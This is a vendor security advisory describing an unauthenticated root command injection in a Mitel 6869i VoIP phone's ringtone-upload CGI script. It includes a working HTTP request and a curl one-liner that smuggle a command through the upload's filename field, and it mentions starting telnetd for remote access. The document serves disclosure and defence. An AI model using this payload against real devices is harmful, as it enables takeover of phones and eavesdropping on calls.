Vendor: Mitel   
Affected Products: Mitel 6869i Voip Deskphone Version 4.2.2032 - SIP  
Not Affected: unknown  
Vulnerability: Mitel 6869i SIP Deskphone 4.2.2032: Unauthenticated Bash   
Command Injection Vulnerability with Root Priviledges in   
/cgi-bin/webuploadconfig script  
Risk: High

Vendor communication:  
2019/08/08 BlueBox Security releases this advisory  
____________________________________________________________________________  
  
Overview:  
--------  
The Mitel 6869i is a desktop VoIP phone offering telephony features.   
A webservice running on the TCP Port 49249 is used to administrate the phone's   
VoIP settings, upgrade the firmware and change security settings.  
  
Description:  
--------  
  
The Webserver on port 49249 of the Mitel 6869i phone is using the "webuploadconfig" cgi-script,   
an arm linux elf executable file, to upload ring tone audio files to the   
phone with the page=upload_ringtone parameter.   
The execution of this cgi-script does not require prior authentication.  
Futhermore the script is vulnerable to Bash Command Injection.  
The filename value of the POST request is used unsanitized in a system() call.  
  
The vulnerable POST request to the webuploadconfig-script is the following:  
  
POST //cgi-bin/webuploadconfig?page=upload_ringtone&action=submit&section=0&conn=1 HTTP/1.1  
Host: 192.168.178.147:49249  
User-Agent: curl/7.65.1  
Accept: */*  
Content-Length: 185  
Content-Type: multipart/form-data; boundary=------------------------2754e6a90f270263  
Connection: close  
  
--------------------------2754e6a90f270263  
Content-Disposition: form-data; name="file"; filename="`ping -c 1 192.168.178.140`"  
  
pwned  
--------------------------2754e6a90f270263--  
  
  
By inserting "|command", "`command`" or "$(command) as the value of the "filename" parameter  
the "command" is executed on the underlying linux operating system.  
  
The following linux bash commandline exploits this vulnerability and executes the  
command "ping -c 1 192.168.178.140" on the Mitel 6869i phone with the IP Adress   
192.168.178.147 with root priviledges:  
  
$ echo "pwned" | curl -F "file=@-;filename=\`ping -c 1 192.168.178.140\`" \  
"http://192.168.178.147:49249//cgi-bin/webuploadconfig?page=upload_ringtone&action=submit&section=0&conn=1"  
  
To verify the successfull completion of the ping-command on the Mitel 6869i   
phone, start tcpdump on the host system and listen for incoming icmp requests.  
(eg by running tcpdump -i eth0 -n icmp)  
  
The "webuploadconfig" cgi-script also runs with superuser root-priviledges as   
the telnetd service can be started on the restricted TCP-port 23 by replacing  
the ping-command with "telnetd &".  
  
Impact:  
--------  
The described problems allow an unauthenticated attacker to run arbitary linux  
operating system commands with root-priledges. This leads to a complete comprimise  
of the Mitel 6869i phone and therefore also the possibility to eavesdrop on the  
victim's calls.  
  
Solution  
--------  
We recommend to properly perform input parsing of the filename parameter to avoid  
Command Injection vulnerabilities.  
As a quick fix blocking access to the port 49249 is advisable.
